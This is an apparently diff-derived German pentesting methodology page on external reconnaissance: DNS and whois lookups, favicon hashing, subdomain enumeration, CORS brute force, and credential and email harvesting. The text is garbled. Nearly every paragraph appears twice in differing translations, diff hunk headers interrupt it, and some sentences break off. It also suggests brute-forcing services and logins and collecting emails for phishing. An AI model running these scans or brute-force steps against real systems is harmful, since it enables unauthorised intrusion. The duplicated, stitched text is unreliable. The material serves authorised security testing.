Zu diesem Zeitpunkt kennen wir **alle Assets im Umfang**, daher könntest du, wenn erlaubt, einen **Vulnerability Scanner** (Nessus, OpenVAS) über alle Hosts starten.\
Außerdem könntest du einige [**Port-Scans**](../pentesting-network/#discovering-hosts-from-the-outside) durchführen **oder Dienste wie** Shodan **verwenden, um** offene Ports **zu finden und je nach Ergebnis solltest du** in diesem Buch nachsehen, wie du verschiedene mögliche Dienste pentesten kannst.\
**Außerdem könnte es sich lohnen zu erwähnen, dass du auch einige** Standard-Benutzernamen **und** Passwortlisten **vorbereiten und versuchen kannst, Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu** brute-forcen.
## Domains
> Wir kennen alle Unternehmen im Umfang und ihre Assets, es ist an der Zeit, die Domains im Umfang zu finden.
> Wir kennen alle Unternehmen im Umfang und ihre Assets, es ist Zeit, die Domains im Umfang zu finden.
_Bitte beachte, dass du in den folgenden vorgeschlagenen Techniken auch Subdomains finden kannst und diese Informationen nicht unterschätzt werden sollten._
Zuerst solltest du nach den **Hauptdomains** jedes Unternehmens suchen. Zum Beispiel ist für _Tesla Inc._ wird es _tesla.com_ sein.
Zuerst solltest du nach den **Hauptdomains** jeder Firma suchen. Zum Beispiel ist für _Tesla Inc._ wird es _tesla.com_ sein.
### **Reverse DNS**
Da du alle IP-Bereiche der Domains gefunden hast, könntest du versuchen, **Reverse-DNS-Lookups** auf diesen **IPs durchzuführen, um mehr Domains im Umfang zu finden**. Versuche, einige DNS-Server des Opfers oder einige bekannte DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden.
Da du alle IP-Bereiche der Domains gefunden hast, könntest du versuchen, **Reverse-DNS-Lookups** auf diesen **IPs durchzuführen, um mehr Domains im Umfang zu finden**. Versuche, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden.
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
### **Rückwärtssuche Whois (Schleife)**
Um dies zu ermöglichen, muss der Administrator manuell das PTR aktivieren.\
Sie können auch ein Online-Tool für diese Informationen verwenden: [http://ptrarchive.com/](http://ptrarchive.com)
Innerhalb eines **whois** können Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern finden... Aber noch interessanter ist, dass Sie **weitere Assets im Zusammenhang mit dem Unternehmen** finden können, wenn Sie **Rückwärtssuchen im Whois nach einem dieser Felder** durchführen (zum Beispiel in anderen Whois-Registern, in denen dieselbe E-Mail-Adresse erscheint).\
Sie können Online-Tools wie folgt verwenden:
### **Reverse Whois (Schleife)**
Innerhalb eines **whois** können Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern finden... Aber noch interessanter ist, dass Sie **weitere Assets im Zusammenhang mit dem Unternehmen** finden können, wenn Sie **Reverse-Whois-Suchen nach einem dieser Felder durchführen** (zum Beispiel andere Whois-Register, in denen dieselbe E-Mail erscheint).\
Sie können Online-Tools wie:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Kostenlos**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Kostenlos**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Kostenlos**
* [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenloses API.
* [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** Web, nicht kostenloses API.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nicht kostenlos
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nicht kostenlos (nur **100 kostenlose** Suchen)
* [https://www.domainiq.com/](https://www.domainiq.com) - Nicht kostenlos
Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink)verwenden (erfordert einen Whoxy-API-Schlüssel).\
Sie können auch einige automatische Rückwärtssuchen im Whois mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
Sie können auch einige automatische Reverse-Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
@ -128,7 +131,7 @@ Es gibt einige Seiten und Tools, mit denen Sie nach diesen Trackern und mehr suc
### **Favicon**
Wussten Sie, dass wir verwandte Domains und Subdomains unseres Ziels finden können, indem wir nach demselben Favicon-Icon-Hash suchen? Genau das macht das [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)-Tool von [@m4ll0k2](https://twitter.com/m4ll0k2). So verwenden Sie es:
Wussten Sie, dass wir verwandte Domains und Subdomains zu unserem Ziel finden können, indem wir nach demselben Favicon-Symbol-Hash suchen? Genau das macht das [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)-Tool von [@m4ll0k2](https://twitter.com/m4ll0k2). So verwenden Sie es:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -137,11 +140,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
Einfach ausgedrückt ermöglicht es uns favihash, Domains zu entdecken, die denselben Favicon-Symbol-Hash wie unser Ziel haben.
Darüber hinaus können Sie auch Technologien mithilfe des Favicon-Hash suchen, wie in [**diesem Blog-Beitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass Sie, wenn Sie den **Hash des Favicons einer verwundbaren Version einer Web-Technologie** kennen, in Shodan danach suchen können und **mehr verwundbare Stellen finden**:
Darüber hinaus können Sie auch Technologien mithilfe des Favicon-Hash suchen, wie in [**diesem Blog-Beitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass Sie, wenn Sie den **Hash des Favicon einer verwundbaren Version einer Web-Technologie** kennen, in Shodan danach suchen können und **mehr verwundbare Stellen finden**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
Das ist, wie du den **Favicon-Hash berechnen** kannst einer Webseite:
So berechnen Sie den **Favicon-Hash** einer Webseite:
```python
import mmh3
import requests
@ -165,52 +168,53 @@ Es ist üblich, einen Cron-Job wie folgt zu haben:
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
### Externe Recherche-Methodik
### Externe Aufklärungsmethodik
Um alle Domain-Zertifikate auf dem Server zu erneuern, ist es möglich, **Domänen, die demselben Unternehmen gehören, in den Zertifikatstransparenz-Logs zu finden**, selbst wenn die Zertifizierungsstelle die Generierungszeit nicht im Gültigkeitszeitraum angibt.
Um alle Domain-Zertifikate auf dem Server zu erneuern. Dies bedeutet, dass selbst wenn die CA, die dafür verwendet wird, die Zeit, zu der es generiert wurde, nicht im Gültigkeitszeitraum angibt, es möglich ist, **Domains, die demselben Unternehmen gehören, in den Zertifikatstransparenz-Logs zu finden**.\
Schauen Sie sich dieses [**Writeup für weitere Informationen**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/) an.
### **Passive Übernahme**
### Passiver Übernahme
Es ist anscheinend üblich, dass Personen Subdomains IP-Adressen von Cloud-Anbietern zuweisen und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher werden durch das **Starten einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernommen**.
Es ist anscheinend üblich, Subdomänen IP-Adressen zuzuweisen, die Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse zu verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher übernehmen Sie durch das **Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomänen**.
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean startet**, die **IPv4** des neuen Geräts **abruft** und in Virustotal nach Subdomain-Einträgen sucht, die darauf verweisen.
Dieser [**Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte dazu und schlägt ein Skript vor, das eine VM in DigitalOcean erstellt, die **IPv4** des neuen Geräts **abruft** und in Virustotal nach Subdomänen-Einträgen sucht, die darauf verweisen.
### **Andere Möglichkeiten**
### Andere Methoden
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
**Shodan**
Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie nach diesen Daten in Shodan suchen, indem Sie Folgendes verwenden: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat.
Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie in Shodan nach diesen Daten suchen, indem Sie Folgendes verwenden: `org:"Tesla, Inc."`. Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domänen im TLS-Zertifikat.
Sie könnten auf das **TLS-Zertifikat** der Hauptwebseite zugreifen, den **Organisationsnamen** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller bekannten Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder verwenden Sie ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Sie könnten auf das **TLS-Zertifikat** der Hauptwebseite zugreifen, den **Organisationsnamen** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller von **Shodan** bekannten Webseiten suchen, mit dem Filter: `ssl:"Tesla Motors"` oder verwenden Sie ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **mit einer Hauptdomain verbundenen Domains** und **Subdomains** von ihnen sucht, ziemlich erstaunlich.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **mit einer Hauptdomäne verbundenen Domänen** und deren **Subdomänen** sucht, ziemlich erstaunlich.
### **Nach Schwachstellen suchen**
### Suche nach Schwachstellen
Überprüfen Sie auf [Domain-Übernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Möglicherweise verwendet ein Unternehmen **eine Domain**, hat aber **die Eigentümerschaft verloren**. Registrieren Sie sie einfach (wenn sie billig genug ist) und informieren Sie das Unternehmen.
Wenn Sie eine **Domain mit einer anderen IP** als denjenigen finden, die Sie bereits in der Assets-Entdeckung gefunden haben, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie "anzugreifen"**.\
_Beachten Sie, dass die Domain manchmal innerhalb einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt, seien Sie vorsichtig._
_Beachten Sie, dass die Domain manchmal in einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt. Seien Sie vorsichtig._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns noch heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen!
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns noch heute bei unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Subdomains
## Subdomänen
> Wir kennen alle Unternehmen im Scope, alle Vermögenswerte jedes Unternehmens und alle mit den Unternehmen verbundenen Domains.
> Wir kennen alle Unternehmen im Scope, alle Vermögenswerte jedes Unternehmens und alle mit den Unternehmen verbundenen Domänen.
Es ist an der Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden.
Es ist an der Zeit, alle möglichen Subdomänen jeder gefundenen Domain zu finden.
### **DNS**
Lassen Sie uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (Wenn anfällig, sollten Sie es melden).
Versuchen wir, **Subdomänen** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (Wenn anfällig, sollten Sie dies melden).
```bash
dnsrecon -a -d tesla.com
```
@ -330,7 +334,7 @@ python3 DomainTrail.py -d example.com
* [**securitytrails.com**](https://securitytrails.com/) bietet eine kostenlose API zur Suche nach Subdomains und IP-Verlauf
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Dieses Projekt bietet **kostenlos alle mit Bug-Bounty-Programmen verbundenen Subdomains** an. Sie können auch auf diese Daten zugreifen, indem Sie [chaospy](https://github.com/dr-0x0x/chaospy) verwenden oder sogar auf den Umfang zugreifen, der von diesem Projekt verwendet wird [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Dieses Projekt bietet **kostenlos alle mit Bug-Bounty-Programmen verbundenen Subdomains** an. Sie können auch auf diese Daten zugreifen, indem Sie [chaospy](https://github.com/dr-0x0x/chaospy) verwenden oder sogar auf den von diesem Projekt verwendeten Umfang zugreifen [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Sie finden hier einen **Vergleich** vieler dieser Tools: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
@ -390,12 +394,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, sie aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
* Du kannst die altdns Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) bekommen.
* Sie können die altdns-Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
* [**dmut**](https://github.com/bp0lr/dmut): Ein weiteres Tool zur Durchführung von Permutationen, Mutationen und Änderungen von Subdomains. Dieses Tool wird das Ergebnis per Bruteforce erzwingen (es unterstützt keine DNS-Wildcards).
* Du kannst die dmut-Permutationswortliste [**hier**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) erhalten.
* Sie können die dmut-Permutationswortliste [**hier**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) erhalten.
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
@ -404,19 +408,19 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### Intelligente Permutationserzeugung
* [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber im Wesentlichen werden die **Hauptteile** der **entdeckten Subdomains** extrahiert und gemischt, um mehr Subdomains zu finden.
* [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber es wird im Wesentlichen die **Hauptteile** der **entdeckten Subdomains** erhalten und sie mischen, um mehr Subdomains zu finden.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-geführten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Einträge, um genauere entsprechende Domänennamen zu synthetisieren und sie basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-gesteuerten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie z.B. eine maßgeschneiderte Wortliste oder historische DNS/TLS-Einträge, um genauere entsprechende Domänennamen zu synthetisieren und sie basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
```
echo www | subzuf facebook.com
```
### **Subdomain Discovery Workflow**
Überprüfen Sie diesen Blog-Beitrag, den ich darüber geschrieben habe, wie Sie die **Subdomain-Entdeckung automatisieren** können, indem Sie **Trickest-Workflows** verwenden, damit ich nicht manuell eine Reihe von Tools auf meinem Computer starten muss:
Überprüfen Sie diesen Blog-Beitrag, den ich darüber geschrieben habe, wie Sie die **automatische Entdeckung von Subdomains** von einer Domain mithilfe von **Trickest-Workflows** durchführen können, sodass ich nicht manuell eine Vielzahl von Tools auf meinem Computer starten muss:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -428,7 +432,7 @@ Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von
#### OSINT
Sie können einige **VHosts in IPs finden, indem Sie** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder andere APIs verwenden**.
Sie können einige **VHosts in IPs mit** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder anderen APIs finden**.
**Brute Force**
@ -452,7 +456,7 @@ Mit dieser Technik können Sie möglicherweise sogar auf interne/versteckte Endp
### **CORS-Brute-Force**
Manchmal finden Sie Seiten, die nur den Header _**Access-Control-Allow-Origin**_ zurückgeben, wenn eine gültige Domain/Unterdomäne im _**Origin**_-Header festgelegt ist. In solchen Szenarien können Sie dieses Verhalten missbrauchen, um neue **Subdomains** zu **entdecken**.
Manchmal finden Sie Seiten, die nur den Header _**Access-Control-Allow-Origin**_ zurückgeben, wenn eine gültige Domain/Unterdomäne im _**Origin**_-Header festgelegt ist. In solchen Szenarien können Sie dieses Verhalten missbrauchen, um neue **Unterdomänen** zu **entdecken**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
@ -463,22 +467,22 @@ Da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögl
### **Überwachung**
Sie können **überwachen**, ob **neue Subdomains** einer Domain erstellt werden, indem Sie die **Certificate Transparency**-Logs überwachen, was [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tut.
Sie können **überwachen**, ob **neue Subdomains** einer Domain erstellt werden, indem Sie die **Certificate Transparency**-Logs überwachen, wie es [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tut.
### **Suche nach Schwachstellen**
Überprüfen Sie mögliche [**Subdomain-Übernahmen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Wenn die **Subdomain** auf einen **S3-Bucket** verweist, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/).
Wenn Sie eine **Subdomain mit einer anderen IP** als den bereits gefundenen Assets finden, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nach den ausgeführten Diensten finden Sie in **diesem Buch einige Tricks, um sie "anzugreifen"**.\
Wenn Sie eine **Subdomain mit einer anderen IP** als den bereits gefundenen Assets finden, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nach den ausgeführten Diensten können Sie in **diesem Buch einige Tricks finden, um sie "anzugreifen"**.\
_Beachten Sie, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt. Seien Sie vorsichtig._
## IPs
In den ersten Schritten haben Sie möglicherweise **IP-Bereiche, Domains und Subdomains gefunden**.\
In den ersten Schritten haben Sie möglicherweise **einige IP-Bereiche, Domains und Subdomains gefunden**.\
Es ist an der Zeit, **alle IPs aus diesen Bereichen zu sammeln** und für die **Domains/Subdomains (DNS-Abfragen)**.
Mit Diensten der folgenden **kostenlosen APIs** können Sie auch **frühere IPs finden, die von Domains und Subdomains verwendet wurden**. Diese IPs könnten immer noch im Besitz des Kunden sein (und könnten es Ihnen ermöglichen, [**CloudFlare-Bypasses zu finden**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
Mit Diensten der folgenden **kostenlosen APIs** können Sie auch **frühere IPs finden, die von Domains und Subdomains verwendet wurden**. Diese IPs könnten immer noch im Besitz des Kunden sein (und Ihnen ermöglichen, [**CloudFlare-Bypasses zu finden**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
* [**https://securitytrails.com/**](https://securitytrails.com/)
@ -496,9 +500,9 @@ Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse verweise
In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Rekognoszierungen der entdeckten IPs und Domains** durchgeführt, sodass Sie möglicherweise **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Scope sehen.
Bitte beachten Sie, dass dies auf die **Entdeckung von Webanwendungen ausgerichtet sein wird**, daher sollten Sie auch die **Schwachstellen** und **Port-Scans** durchführen (**falls im Scope erlaubt**).
Bitte beachten Sie, dass dies auf die Entdeckung von **Webanwendungen ausgerichtet sein wird**, daher sollten Sie auch die **Schwachstellen** und **Port-Scans** durchführen (**sofern im Scope erlaubt**).
Eine **schnelle Methode** zur Entdeckung von **offenen Ports** im Zusammenhang mit **Webservern** mit [**masscan finden Sie hier**](../pentesting-network/#http-port-discovery).\
Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern mithilfe von [**masscan zu entdecken, finden Sie hier**](../pentesting-network/#http-port-discovery).\
Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versucht, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Darüber hinaus können Sie angeben, auch andere Ports zu versuchen:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
@ -530,7 +534,7 @@ Denken Sie daran, dass Sie bei der Suche nach Cloud-Ressourcen **mehr als nur Bu
### **Suche nach Schwachstellen**
Wenn Sie auf Dinge wie **offene Buckets oder freigegebene Cloud-Funktionen** stoßen, sollten Sie **darauf zugreifen** und versuchen zu sehen, was sie Ihnen bieten und ob Sie sie missbrauchen können.
Wenn Sie auf Dinge wie **offene Buckets oder freigegebene Cloud-Funktionen** stoßen, sollten Sie darauf **zugreifen** und versuchen zu sehen, was sie Ihnen bieten und ob Sie sie missbrauchen können.
## E-Mails
@ -543,7 +547,7 @@ Mit den **Domains** und **Subdomains** im Umfang haben Sie im Grunde alles, was
### **Suche nach Schwachstellen**
E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdienste per Brute-Force anzugreifen** (wie z. B. SSH). Außerdem werden sie für **Phishing** benötigt. Darüber hinaus geben Ihnen diese APIs noch mehr **Informationen über die Person** hinter der E-Mail, was für die Phishing-Kampagne nützlich ist.
E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdienste** (wie SSH) per Brute-Force anzugreifen. Außerdem werden sie für **Phishing** benötigt. Darüber hinaus geben Ihnen diese APIs noch mehr **Informationen über die Person** hinter der E-Mail, was für die Phishing-Kampagne nützlich ist.
## Zugangsdaten-Leaks
@ -569,7 +573,7 @@ Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) ver
#### Github-Dorks
Überprüfen Sie auch diese **Seite** nach potenziellen **Github-Dorks**, nach denen Sie in der angegriffenen Organisation suchen könnten:
Überprüfen Sie auch diese **Seite** nach potenziellen **Github-Dorks**, die Sie auch in der angegriffenen Organisation suchen könnten:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
@ -577,7 +581,7 @@ Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) ver
### Pastes-Leaks
Manchmal veröffentlichen Angreifer oder einfach Mitarbeiter Unternehmensinhalte auf einer Paste-Seite. Dies könnte sensible Informationen enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
Manchmal veröffentlichen Angreifer oder einfach Mitarbeiter Unternehmensinhalte auf einer Paste-Seite. Dies könnte **sensible Informationen** enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen.
### Google-Dorks
@ -605,9 +609,9 @@ Es gibt auch kostenlose Dienste, die es Ihnen ermöglichen, **öffentliche Repos
* [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
Die **Mehrheit der Schwachstellen**, die von Bug Bounty Jägern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Webanwendungstestmethodik** sprechen, die Sie [**hier finden können**](../../network-services-pentesting/pentesting-web/).
Die **Mehrheit der Schwachstellen**, die von Bug-Huntern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Methodik zur Prüfung von Webanwendungen** sprechen, die Sie [**hier finden können**](../../network-services-pentesting/pentesting-web/).
Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) geben, da sie zwar nicht unbedingt sehr sensible Schwachstellen finden, aber nützlich sind, um sie in **Workflows zur Erhebung von anfänglichen Webinformationen** zu implementieren.
Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) geben, da sie zwar nicht unbedingt sehr sensible Schwachstellen finden, aber nützlich sind, um sie in **Workflows zur Erfassung von anfänglichen Webinformationen** zu implementieren.
## Zusammenfassung
@ -616,18 +620,18 @@ Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Sca
Sie haben also bereits:
1. Alle **Unternehmen** im Scope gefunden
2. Alle **Assets**, die den Unternehmen gehören (und einige Schwachstellen-Scans durchgeführt, wenn im Scope)
3. Alle **Domains**, die den Unternehmen gehören
4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?)
2. Alle **Assets** der Unternehmen gefunden (und bei Bedarf einen Schwachstellenscan durchgeführt)
3. Alle **Domains** der Unternehmen gefunden
4. Alle **Subdomains** der Domains gefunden (gibt es eine Möglichkeit zur Übernahme von Subdomains?)
5. Alle **IPs** (von und **nicht von CDNs**) im Scope gefunden.
6. Alle **Webserver** gefunden und von ihnen einen **Screenshot** gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?)
7. Alle **potenziellen öffentlichen Cloud-Assets** des Unternehmens gefunden.
6. Alle **Webserver** gefunden und von ihnen einen **Screenshot** gemacht (gibt es etwas Seltsames, das genauer betrachtet werden sollte?)
7. Alle **potenziellen öffentlichen Cloud-Ressourcen** des Unternehmens gefunden.
8. **E-Mails**, **Zugangsdaten-Leaks** und **Geheimnis-Leaks**, die Ihnen einen **großen Gewinn sehr einfach** ermöglichen könnten.
9. **Pentesting aller von Ihnen gefundenen Websites**
## **Vollständige Recon-Automatisierungstools**
## **Vollständige automatische Recon-Tools**
Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen bestimmten Scope ausführen werden.
Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen bestimmten Scope durchführen.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@ -638,7 +642,7 @@ Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen b
* Alle kostenlosen Kurse von [**@Jhaddix**](https://twitter.com/Jhaddix) wie [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
